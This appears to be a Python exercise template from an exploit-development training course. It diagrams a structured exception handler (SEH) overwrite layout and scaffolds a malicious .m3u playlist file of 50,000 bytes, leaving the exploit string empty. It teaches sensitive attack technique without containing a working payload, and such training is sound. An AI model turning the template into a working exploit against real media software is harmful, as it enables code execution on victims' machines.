# Exercise 3 - SEH
# Author: badc0d3

#             ____________             =====> Game Over!
#            | short jmp  |           |
#  __________|____________v___________|____________               ______________
# | JUNK | nSEH | SEH | nopsled | shellcode | junk |             | POP POP RETN | 
# |______|______|_____|_________|___________|______|             |______________|
#            ^     | when an error is encountered is will call SEH ^         |
#            |     |_______________________________________________|         |
#            |_______________________________________________________________|

# START Setup DONT NOT CHANGE THIS SECTION
crash = 50000;
# END Setup

# Edit this section - Your Code
exploitcode = "";

# File Creation DONT NOT CHANGE ANYTHING BELOW THIS
file= "exercise3.m3u";
data = exploitcode + ("A"*(crash-len(exploitcode)));
f = open(file, "w");
f.write(data);
f.close();
print(len(data));
print("File Created successfully");
